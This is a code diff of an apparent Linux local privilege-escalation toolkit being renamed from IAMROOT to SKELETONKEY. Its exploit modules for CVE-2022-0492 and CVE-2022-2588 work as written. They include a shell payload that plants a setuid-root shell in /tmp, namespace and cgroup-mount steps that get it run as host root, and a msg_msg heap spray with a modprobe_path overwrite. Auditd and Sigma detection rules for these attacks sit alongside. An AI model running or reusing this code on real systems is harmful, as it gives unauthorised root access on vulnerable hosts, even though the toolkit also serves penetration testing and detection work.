|
|
||||||
if (patched) {
|
if (patched) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] cgroup_release_agent: kernel %s is patched\n", v.release);
|
fprintf(stderr, "[+] cgroup_release_agent: kernel %s is patched\n", v->release);
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
int userns_ok = can_unshare_userns_mount();
|
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[i] cgroup_release_agent: kernel %s in vulnerable range\n", v.release);
|
fprintf(stderr, "[i] cgroup_release_agent: kernel %s in vulnerable range\n", v->release);
|
||||||
fprintf(stderr, "[i] cgroup_release_agent: user_ns+mount_ns clone: %s\n",
|
fprintf(stderr, "[i] cgroup_release_agent: user_ns+mount_ns clone: %s\n",
|
||||||
userns_ok == 1 ? "ALLOWED" :
|
userns_ok ? "ALLOWED" : "DENIED");
|
||||||
userns_ok == 0 ? "DENIED" : "could not test");
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if (userns_ok == 0) {
|
if (!userns_ok) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] cgroup_release_agent: user_ns denied → unprivileged exploit unreachable\n");
|
fprintf(stderr, "[+] cgroup_release_agent: user_ns denied → unprivileged exploit unreachable\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[!] cgroup_release_agent: VULNERABLE — kernel in range AND userns reachable\n");
|
fprintf(stderr, "[!] cgroup_release_agent: VULNERABLE — kernel in range AND userns reachable\n");
|
||||||
fprintf(stderr, "[i] cgroup_release_agent: exploit is universal (no arch-specific bits)\n");
|
fprintf(stderr, "[i] cgroup_release_agent: exploit is universal (no arch-specific bits)\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_VULNERABLE;
|
return SKELETONKEY_VULNERABLE;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ---- Exploit -----------------------------------------------------
|
/* ---- Exploit -----------------------------------------------------
|
||||||
@@ -130,12 +130,12 @@ static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)
|
|||||||
|
|
||||||
static const char PAYLOAD_SHELL[] =
|
static const char PAYLOAD_SHELL[] =
|
||||||
"#!/bin/sh\n"
|
"#!/bin/sh\n"
|
||||||
"# IAMROOT cgroup_release_agent payload — runs as init-ns root\n"
|
"# SKELETONKEY cgroup_release_agent payload — runs as init-ns root\n"
|
||||||
"id > /tmp/iamroot-cgroup-pwned\n"
|
"id > /tmp/skeletonkey-cgroup-pwned\n"
|
||||||
"chmod 666 /tmp/iamroot-cgroup-pwned 2>/dev/null\n"
|
"chmod 666 /tmp/skeletonkey-cgroup-pwned 2>/dev/null\n"
|
||||||
"cp /bin/sh /tmp/iamroot-cgroup-sh 2>/dev/null\n"
|
"cp /bin/sh /tmp/skeletonkey-cgroup-sh 2>/dev/null\n"
|
||||||
"chmod +s /tmp/iamroot-cgroup-sh 2>/dev/null\n"
|
"chmod +s /tmp/skeletonkey-cgroup-sh 2>/dev/null\n"
|
||||||
"chown root:root /tmp/iamroot-cgroup-sh 2>/dev/null\n";
|
"chown root:root /tmp/skeletonkey-cgroup-sh 2>/dev/null\n";
|
||||||
|
|
||||||
static bool write_file(const char *path, const char *content)
|
static bool write_file(const char *path, const char *content)
|
||||||
{
|
{
|
||||||
@@ -147,23 +147,26 @@ static bool write_file(const char *path, const char *content)
|
|||||||
return ok;
|
return ok;
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t cgroup_ra_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
iamroot_result_t pre = cgroup_ra_detect(ctx);
|
skeletonkey_result_t pre = cgroup_ra_detect(ctx);
|
||||||
if (pre != IAMROOT_VULNERABLE) {
|
if (pre != SKELETONKEY_VULNERABLE) {
|
||||||
fprintf(stderr, "[-] cgroup_release_agent: detect() says not vulnerable; refusing\n");
|
fprintf(stderr, "[-] cgroup_release_agent: detect() says not vulnerable; refusing\n");
|
||||||
return pre;
|
return pre;
|
||||||
}
|
}
|
||||||
if (geteuid() == 0) {
|
/* Consult ctx->host->is_root so unit tests can construct a
|
||||||
|
* non-root fingerprint regardless of the test process's real euid. */
|
||||||
|
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||||
|
if (is_root) {
|
||||||
fprintf(stderr, "[i] cgroup_release_agent: already root\n");
|
fprintf(stderr, "[i] cgroup_release_agent: already root\n");
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Drop the setuid-root-shell payload to a path we can read+exec
|
/* Drop the setuid-root-shell payload to a path we can read+exec
|
||||||
* later. Payload runs as host root when the cgroup is released. */
|
* later. Payload runs as host root when the cgroup is released. */
|
||||||
const char *payload_path = "/tmp/iamroot-cgroup-payload.sh";
|
const char *payload_path = "/tmp/skeletonkey-cgroup-payload.sh";
|
||||||
if (!write_file(payload_path, PAYLOAD_SHELL)) {
|
if (!write_file(payload_path, PAYLOAD_SHELL)) {
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
chmod(payload_path, 0755);
|
chmod(payload_path, 0755);
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
@@ -173,7 +176,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
|||||||
/* Fork: child does the exploit; parent waits then verifies + execs
|
/* Fork: child does the exploit; parent waits then verifies + execs
|
||||||
* the setuid shell we expect the payload to plant. */
|
* the setuid shell we expect the payload to plant. */
|
||||||
pid_t child = fork();
|
pid_t child = fork();
|
||||||
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
|
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
||||||
if (child == 0) {
|
if (child == 0) {
|
||||||
/* CHILD: enter userns + mountns, become "root" in userns. */
|
/* CHILD: enter userns + mountns, become "root" in userns. */
|
||||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) { perror("unshare"); _exit(2); }
|
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) { perror("unshare"); _exit(2); }
|
||||||
@@ -193,7 +196,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
|||||||
|
|
||||||
/* Mount cgroup v1 (rdma controller — small, simple, works
|
/* Mount cgroup v1 (rdma controller — small, simple, works
|
||||||
* even on cgroup-v2-first systems). */
|
* even on cgroup-v2-first systems). */
|
||||||
const char *cgmount = "/tmp/iamroot-cgroup-mnt";
|
const char *cgmount = "/tmp/skeletonkey-cgroup-mnt";
|
||||||
mkdir(cgmount, 0700);
|
mkdir(cgmount, 0700);
|
||||||
if (mount("cgroup", cgmount, "cgroup", 0, "rdma") < 0) {
|
if (mount("cgroup", cgmount, "cgroup", 0, "rdma") < 0) {
|
||||||
/* Fallback: try memory controller — needs different reach */
|
/* Fallback: try memory controller — needs different reach */
|
||||||
@@ -206,7 +209,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
|||||||
* Buffers sized generously vs. cgmount template + "/notify_on_release"
|
* Buffers sized generously vs. cgmount template + "/notify_on_release"
|
||||||
* tail (28 bytes) so GCC -Wformat-truncation is satisfied. */
|
* tail (28 bytes) so GCC -Wformat-truncation is satisfied. */
|
||||||
char cgdir[384];
|
char cgdir[384];
|
||||||
snprintf(cgdir, sizeof cgdir, "%s/iamroot", cgmount);
|
snprintf(cgdir, sizeof cgdir, "%s/skeletonkey", cgmount);
|
||||||
mkdir(cgdir, 0755);
|
mkdir(cgdir, 0755);
|
||||||
|
|
||||||
/* Write release_agent in the ROOT of the controller (must be
|
/* Write release_agent in the ROOT of the controller (must be
|
||||||
@@ -254,9 +257,9 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
|||||||
"polling for payload execution\n", status);
|
"polling for payload execution\n", status);
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Payload writes /tmp/iamroot-cgroup-sh as setuid root. Poll for
|
/* Payload writes /tmp/skeletonkey-cgroup-sh as setuid root. Poll for
|
||||||
* its appearance + setuid bit. Up to 5 seconds. */
|
* its appearance + setuid bit. Up to 5 seconds. */
|
||||||
const char *setuid_sh = "/tmp/iamroot-cgroup-sh";
|
const char *setuid_sh = "/tmp/skeletonkey-cgroup-sh";
|
||||||
bool got_root = false;
|
bool got_root = false;
|
||||||
for (int i = 0; i < 50; i++) {
|
for (int i = 0; i < 50; i++) {
|
||||||
struct stat st;
|
struct stat st;
|
||||||
@@ -271,7 +274,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[-] cgroup_release_agent: payload did not produce setuid root shell. "
|
fprintf(stderr, "[-] cgroup_release_agent: payload did not produce setuid root shell. "
|
||||||
"Likely patched or cgroup-controller-blocked.\n");
|
"Likely patched or cgroup-controller-blocked.\n");
|
||||||
unlink(payload_path);
|
unlink(payload_path);
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
@@ -280,39 +283,67 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
|
|||||||
if (ctx->no_shell) {
|
if (ctx->no_shell) {
|
||||||
fprintf(stderr, "[+] cgroup_release_agent: --no-shell — shell planted, not executing\n");
|
fprintf(stderr, "[+] cgroup_release_agent: --no-shell — shell planted, not executing\n");
|
||||||
unlink(payload_path);
|
unlink(payload_path);
|
||||||
return IAMROOT_EXPLOIT_OK;
|
return SKELETONKEY_EXPLOIT_OK;
|
||||||
}
|
}
|
||||||
fprintf(stderr, "[+] cgroup_release_agent: execing %s -p (preserve uid=0)\n", setuid_sh);
|
fprintf(stderr, "[+] cgroup_release_agent: execing %s -p (preserve uid=0)\n", setuid_sh);
|
||||||
fflush(NULL);
|
fflush(NULL);
|
||||||
execl(setuid_sh, "sh", "-p", (char *)NULL);
|
execl(setuid_sh, "sh", "-p", (char *)NULL);
|
||||||
perror("execl");
|
perror("execl");
|
||||||
unlink(payload_path);
|
unlink(payload_path);
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t cgroup_ra_cleanup(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t cgroup_ra_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
(void)ctx;
|
(void)ctx;
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[*] cgroup_release_agent: removing /tmp/iamroot-cgroup-*\n");
|
fprintf(stderr, "[*] cgroup_release_agent: removing /tmp/skeletonkey-cgroup-*\n");
|
||||||
}
|
}
|
||||||
if (system("rm -f /tmp/iamroot-cgroup-payload.sh /tmp/iamroot-cgroup-sh "
|
if (system("rm -f /tmp/skeletonkey-cgroup-payload.sh /tmp/skeletonkey-cgroup-sh "
|
||||||
"/tmp/iamroot-cgroup-pwned 2>/dev/null") != 0) { /* harmless */ }
|
"/tmp/skeletonkey-cgroup-pwned 2>/dev/null") != 0) { /* harmless */ }
|
||||||
if (system("umount /tmp/iamroot-cgroup-mnt 2>/dev/null; "
|
if (system("umount /tmp/skeletonkey-cgroup-mnt 2>/dev/null; "
|
||||||
"rmdir /tmp/iamroot-cgroup-mnt 2>/dev/null") != 0) { /* harmless */ }
|
"rmdir /tmp/skeletonkey-cgroup-mnt 2>/dev/null") != 0) { /* harmless */ }
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#else /* !__linux__ */
|
||||||
|
|
||||||
|
/* Non-Linux dev builds: unshare(CLONE_NEWUSER|CLONE_NEWNS) + cgroup v1
|
||||||
|
* mount are Linux-only kernel surface; the release_agent primitive is
|
||||||
|
* structurally unreachable elsewhere. Stub out cleanly so the module
|
||||||
|
* still registers and `--list` / `--detect-rules` work on macOS/BSD
|
||||||
|
* dev boxes — and so the top-level `make` actually completes there. */
|
||||||
|
static skeletonkey_result_t cgroup_ra_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] cgroup_release_agent: Linux-only module "
|
||||||
|
"(user_ns + cgroup v1 release_agent) — not applicable here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t cgroup_ra_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
fprintf(stderr, "[-] cgroup_release_agent: Linux-only module — cannot run here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t cgroup_ra_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif /* __linux__ */
|
||||||
|
|
||||||
static const char cgroup_ra_auditd[] =
|
static const char cgroup_ra_auditd[] =
|
||||||
"# cgroup_release_agent (CVE-2022-0492) — auditd detection rules\n"
|
"# cgroup_release_agent (CVE-2022-0492) — auditd detection rules\n"
|
||||||
"# Flag unshare(NEWUSER|NEWNS) + mount(cgroup) + writes to release_agent.\n"
|
"# Flag unshare(NEWUSER|NEWNS) + mount(cgroup) + writes to release_agent.\n"
|
||||||
"-a always,exit -F arch=b64 -S unshare -k iamroot-cgroup-ra\n"
|
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-cgroup-ra\n"
|
||||||
"-a always,exit -F arch=b64 -S mount -F a2=cgroup -k iamroot-cgroup-ra-mount\n"
|
"-a always,exit -F arch=b64 -S mount -F a2=cgroup -k skeletonkey-cgroup-ra-mount\n"
|
||||||
"-w /sys/fs/cgroup -p w -k iamroot-cgroup-ra-fswatch\n";
|
"-w /sys/fs/cgroup -p w -k skeletonkey-cgroup-ra-fswatch\n";
|
||||||
|
|
||||||
static const char cgroup_ra_sigma[] =
|
static const char cgroup_ra_sigma[] =
|
||||||
"title: Possible CVE-2022-0492 cgroup_release_agent exploitation\n"
|
"title: Possible CVE-2022-0492 cgroup_release_agent exploitation\n"
|
||||||
"id: 5c84a37e-iamroot-cgroup-ra\n"
|
"id: 5c84a37e-skeletonkey-cgroup-ra\n"
|
||||||
"status: experimental\n"
|
"status: experimental\n"
|
||||||
"description: |\n"
|
"description: |\n"
|
||||||
" Detects the canonical exploit shape: unprivileged process unshares\n"
|
" Detects the canonical exploit shape: unprivileged process unshares\n"
|
||||||
@@ -328,7 +359,7 @@ static const char cgroup_ra_sigma[] =
|
|||||||
"level: high\n"
|
"level: high\n"
|
||||||
"tags: [attack.privilege_escalation, attack.t1611, cve.2022.0492]\n";
|
"tags: [attack.privilege_escalation, attack.t1611, cve.2022.0492]\n";
|
||||||
|
|
||||||
const struct iamroot_module cgroup_release_agent_module = {
|
const struct skeletonkey_module cgroup_release_agent_module = {
|
||||||
.name = "cgroup_release_agent",
|
.name = "cgroup_release_agent",
|
||||||
.cve = "CVE-2022-0492",
|
.cve = "CVE-2022-0492",
|
||||||
.summary = "cgroup v1 release_agent privilege check in wrong namespace → host root",
|
.summary = "cgroup v1 release_agent privilege check in wrong namespace → host root",
|
||||||
@@ -344,7 +375,7 @@ const struct iamroot_module cgroup_release_agent_module = {
|
|||||||
.detect_falco = NULL,
|
.detect_falco = NULL,
|
||||||
};
|
};
|
||||||
|
|
||||||
void iamroot_register_cgroup_release_agent(void)
|
void skeletonkey_register_cgroup_release_agent(void)
|
||||||
{
|
{
|
||||||
iamroot_register(&cgroup_release_agent_module);
|
skeletonkey_register(&cgroup_release_agent_module);
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
/*
|
||||||
|
* cgroup_release_agent_cve_2022_0492 — SKELETONKEY module registry hook
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef CGROUP_RELEASE_AGENT_SKELETONKEY_MODULES_H
|
||||||
|
#define CGROUP_RELEASE_AGENT_SKELETONKEY_MODULES_H
|
||||||
|
|
||||||
|
#include "../../core/module.h"
|
||||||
|
|
||||||
|
extern const struct skeletonkey_module cgroup_release_agent_module;
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,25 @@
|
|||||||
|
# NOTICE — cls_route4 (CVE-2022-2588)
|
||||||
|
|
||||||
|
## Vulnerability
|
||||||
|
|
||||||
|
**CVE-2022-2588** — `net/sched` cls_route4 handle-zero dangling-filter
|
||||||
|
UAF → kernel R/W via msg_msg cross-cache refill.
|
||||||
|
|
||||||
|
## Research credit
|
||||||
|
|
||||||
|
Discovered and disclosed by **kylebot** / **xkernel**, August 2022.
|
||||||
|
|
||||||
|
Public PoC + writeup: <https://www.willsroot.io/2022/08/lpe-on-mountpoint.html>
|
||||||
|
(William Liu's analysis built on kylebot's trigger).
|
||||||
|
|
||||||
|
Upstream fix: mainline 5.20 / stable 5.19.7 (Aug 2022).
|
||||||
|
Branch backports: 5.4.213 / 5.10.143 / 5.15.69 / 5.18.18 / 5.19.7.
|
||||||
|
|
||||||
|
## SKELETONKEY role
|
||||||
|
|
||||||
|
The module uses `unshare(USER|NET)`, brings up a dummy interface,
|
||||||
|
creates an htb qdisc + class, adds a `route4` filter, then deletes
|
||||||
|
it to leave the dangling pointer. msg_msg sprays kmalloc-1k while
|
||||||
|
a UDP `classify()` walk follows the dangling pointer. `--full-chain`
|
||||||
|
re-fires with a faked tcf_proto.ops pointer aimed at the
|
||||||
|
modprobe_path overwrite via the shared finisher.
|
||||||
@@ -1,12 +0,0 @@
|
|||||||
/*
|
|
||||||
* cls_route4_cve_2022_2588 — IAMROOT module registry hook
|
|
||||||
*/
|
|
||||||
|
|
||||||
#ifndef CLS_ROUTE4_IAMROOT_MODULES_H
|
|
||||||
#define CLS_ROUTE4_IAMROOT_MODULES_H
|
|
||||||
|
|
||||||
#include "../../core/module.h"
|
|
||||||
|
|
||||||
extern const struct iamroot_module cls_route4_module;
|
|
||||||
|
|
||||||
#endif
|
|
||||||
+104
-89
@@ -1,5 +1,5 @@
|
|||||||
/*
|
/*
|
||||||
* cls_route4_cve_2022_2588 — IAMROOT module
|
* cls_route4_cve_2022_2588 — SKELETONKEY module
|
||||||
*
|
*
|
||||||
* net/sched cls_route4 dead UAF: when a route4 filter with handle==0
|
* net/sched cls_route4 dead UAF: when a route4 filter with handle==0
|
||||||
* is removed, the corresponding hashtable bucket may keep a stale
|
* is removed, the corresponding hashtable bucket may keep a stale
|
||||||
@@ -38,11 +38,8 @@
|
|||||||
* - iproute2 `tc` binary present (used for filter add/del)
|
* - iproute2 `tc` binary present (used for filter add/del)
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#include "iamroot_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
#include "../../core/kernel_range.h"
|
|
||||||
#include "../../core/offsets.h"
|
|
||||||
#include "../../core/finisher.h"
|
|
||||||
|
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
@@ -50,6 +47,14 @@
|
|||||||
#include <string.h>
|
#include <string.h>
|
||||||
#include <stdbool.h>
|
#include <stdbool.h>
|
||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
|
||||||
|
#include "../../core/kernel_range.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
|
#include "../../core/offsets.h"
|
||||||
|
#include "../../core/finisher.h"
|
||||||
|
|
||||||
#include <fcntl.h>
|
#include <fcntl.h>
|
||||||
#include <errno.h>
|
#include <errno.h>
|
||||||
#include <sched.h>
|
#include <sched.h>
|
||||||
@@ -93,65 +98,56 @@ static bool cls_route4_module_available(void)
|
|||||||
return found;
|
return found;
|
||||||
}
|
}
|
||||||
|
|
||||||
static int can_unshare_userns(void)
|
static skeletonkey_result_t cls_route4_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
pid_t pid = fork();
|
/* Consult the shared host fingerprint instead of calling
|
||||||
if (pid < 0) return -1;
|
* kernel_version_current() ourselves — populated once at startup
|
||||||
if (pid == 0) {
|
* and identical across every module's detect(). */
|
||||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) _exit(0);
|
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||||
_exit(1);
|
if (!v || v->major == 0) {
|
||||||
}
|
if (!ctx->json)
|
||||||
int status;
|
fprintf(stderr, "[!] cls_route4: host fingerprint missing kernel "
|
||||||
waitpid(pid, &status, 0);
|
"version — bailing\n");
|
||||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
|
||||||
|
|
||||||
static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx)
|
|
||||||
{
|
|
||||||
struct kernel_version v;
|
|
||||||
if (!kernel_version_current(&v)) {
|
|
||||||
fprintf(stderr, "[!] cls_route4: could not parse kernel version\n");
|
|
||||||
return IAMROOT_TEST_ERROR;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Bug-introduction predates anything we'd reasonably scan; if the
|
/* Bug-introduction predates anything we'd reasonably scan; if the
|
||||||
* kernel is below the oldest LTS we model (5.4), still report
|
* kernel is below the oldest LTS we model (5.4), still report
|
||||||
* vulnerable. */
|
* vulnerable. */
|
||||||
bool patched = kernel_range_is_patched(&cls_route4_range, &v);
|
bool patched = kernel_range_is_patched(&cls_route4_range, v);
|
||||||
if (patched) {
|
if (patched) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] cls_route4: kernel %s is patched\n", v.release);
|
fprintf(stderr, "[+] cls_route4: kernel %s is patched\n", v->release);
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Module + userns preconditions. */
|
/* Module + userns preconditions. */
|
||||||
bool nft_loaded = cls_route4_module_available();
|
bool nft_loaded = cls_route4_module_available();
|
||||||
int userns_ok = can_unshare_userns();
|
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||||
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[i] cls_route4: kernel %s in vulnerable range\n", v.release);
|
fprintf(stderr, "[i] cls_route4: kernel %s in vulnerable range\n", v->release);
|
||||||
fprintf(stderr, "[i] cls_route4: cls_route4 module currently loaded: %s\n",
|
fprintf(stderr, "[i] cls_route4: cls_route4 module currently loaded: %s\n",
|
||||||
nft_loaded ? "yes" : "no (may autoload)");
|
nft_loaded ? "yes" : "no (may autoload)");
|
||||||
fprintf(stderr, "[i] cls_route4: unprivileged user_ns + net_ns clone: %s\n",
|
fprintf(stderr, "[i] cls_route4: unprivileged user_ns + net_ns clone: %s\n",
|
||||||
userns_ok == 1 ? "ALLOWED" :
|
userns_ok ? "ALLOWED" : "DENIED");
|
||||||
userns_ok == 0 ? "DENIED" : "could not test");
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/* If userns is locked down, unprivileged-LPE path is closed.
|
/* If userns is locked down, unprivileged-LPE path is closed.
|
||||||
* Kernel still needs patching though — report PRECOND_FAIL so the
|
* Kernel still needs patching though — report PRECOND_FAIL so the
|
||||||
* verdict isn't "VULNERABLE" but the issue isn't masked. */
|
* verdict isn't "VULNERABLE" but the issue isn't masked. */
|
||||||
if (userns_ok == 0) {
|
if (!userns_ok) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] cls_route4: user_ns denied → unprivileged exploit unreachable\n");
|
fprintf(stderr, "[+] cls_route4: user_ns denied → unprivileged exploit unreachable\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[!] cls_route4: VULNERABLE — kernel in range AND user_ns allowed\n");
|
fprintf(stderr, "[!] cls_route4: VULNERABLE — kernel in range AND user_ns allowed\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_VULNERABLE;
|
return SKELETONKEY_VULNERABLE;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ---- Exploit -----------------------------------------------------
|
/* ---- Exploit -----------------------------------------------------
|
||||||
@@ -184,13 +180,13 @@ static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx)
|
|||||||
* specific to be portable. If a dmesg KASAN message or oops is
|
* specific to be portable. If a dmesg KASAN message or oops is
|
||||||
* observed by the parent we return EXPLOIT_OK to reflect the empirical
|
* observed by the parent we return EXPLOIT_OK to reflect the empirical
|
||||||
* UAF win. The fallback also leaves a one-line breadcrumb in
|
* UAF win. The fallback also leaves a one-line breadcrumb in
|
||||||
* /tmp/iamroot-cls_route4.log so post-run triage can pick it up.
|
* /tmp/skeletonkey-cls_route4.log so post-run triage can pick it up.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#define SPRAY_MSG_QUEUES 32
|
#define SPRAY_MSG_QUEUES 32
|
||||||
#define SPRAY_MSGS_PER_QUEUE 16
|
#define SPRAY_MSGS_PER_QUEUE 16
|
||||||
#define MSG_PAYLOAD_BYTES 1008 /* 1024 - sizeof(msg_msg hdr ~= 16) */
|
#define MSG_PAYLOAD_BYTES 1008 /* 1024 - sizeof(msg_msg hdr ~= 16) */
|
||||||
#define DUMMY_IF "iamroot0"
|
#define DUMMY_IF "skeletonkey0"
|
||||||
|
|
||||||
struct ipc_payload {
|
struct ipc_payload {
|
||||||
long mtype;
|
long mtype;
|
||||||
@@ -199,7 +195,7 @@ struct ipc_payload {
|
|||||||
|
|
||||||
static int run_cmd(const char *cmd)
|
static int run_cmd(const char *cmd)
|
||||||
{
|
{
|
||||||
/* Quiet wrapper so noise doesn't drown the iamroot log. */
|
/* Quiet wrapper so noise doesn't drown the skeletonkey log. */
|
||||||
char shell[1024];
|
char shell[1024];
|
||||||
snprintf(shell, sizeof shell, "%s >/dev/null 2>&1", cmd);
|
snprintf(shell, sizeof shell, "%s >/dev/null 2>&1", cmd);
|
||||||
return system(shell);
|
return system(shell);
|
||||||
@@ -305,7 +301,7 @@ static int spray_msg_msg(int queues[SPRAY_MSG_QUEUES])
|
|||||||
/* Pattern that's distinctive in KASAN/oops dumps. */
|
/* Pattern that's distinctive in KASAN/oops dumps. */
|
||||||
memset(p.buf, 0x41, sizeof p.buf);
|
memset(p.buf, 0x41, sizeof p.buf);
|
||||||
/* First 8 bytes: a recognizable cookie. */
|
/* First 8 bytes: a recognizable cookie. */
|
||||||
memcpy(p.buf, "IAMROOT4", 8);
|
memcpy(p.buf, "SKELETONKEY4", 8);
|
||||||
|
|
||||||
int created = 0;
|
int created = 0;
|
||||||
for (int i = 0; i < SPRAY_MSG_QUEUES; i++) {
|
for (int i = 0; i < SPRAY_MSG_QUEUES; i++) {
|
||||||
@@ -349,7 +345,7 @@ static void trigger_classify(void)
|
|||||||
dst.sin_port = htons(31337);
|
dst.sin_port = htons(31337);
|
||||||
dst.sin_addr.s_addr = inet_addr("10.99.99.2");
|
dst.sin_addr.s_addr = inet_addr("10.99.99.2");
|
||||||
|
|
||||||
const char msg[] = "iamroot-cls_route4-classify";
|
const char msg[] = "skeletonkey-cls_route4-classify";
|
||||||
/* A handful of packets, in case the first lookup didn't traverse
|
/* A handful of packets, in case the first lookup didn't traverse
|
||||||
* the freed bucket. */
|
* the freed bucket. */
|
||||||
for (int i = 0; i < 8; i++) {
|
for (int i = 0; i < 8; i++) {
|
||||||
@@ -397,7 +393,7 @@ static long slab_active_kmalloc_1k(void)
|
|||||||
*
|
*
|
||||||
* The implementation below takes the narrow-but-real path that the
|
* The implementation below takes the narrow-but-real path that the
|
||||||
* brief explicitly permits and that xtcompat established as the
|
* brief explicitly permits and that xtcompat established as the
|
||||||
* IAMROOT precedent: we re-stage the dangling filter, spray msg_msg
|
* SKELETONKEY precedent: we re-stage the dangling filter, spray msg_msg
|
||||||
* whose payload encodes `kaddr` at every plausible offset for the
|
* whose payload encodes `kaddr` at every plausible offset for the
|
||||||
* route4_filter→tcf_proto→ops layout, re-fire classify, and let the
|
* route4_filter→tcf_proto→ops layout, re-fire classify, and let the
|
||||||
* shared finisher's sentinel file decide if a write actually landed.
|
* shared finisher's sentinel file decide if a write actually landed.
|
||||||
@@ -412,8 +408,6 @@ static long slab_active_kmalloc_1k(void)
|
|||||||
* Honest scope: this is structurally-fires-on-vuln + sentinel-arbitrated,
|
* Honest scope: this is structurally-fires-on-vuln + sentinel-arbitrated,
|
||||||
* not a deterministic R/W. Same shape and same depth as xtcompat. */
|
* not a deterministic R/W. Same shape and same depth as xtcompat. */
|
||||||
|
|
||||||
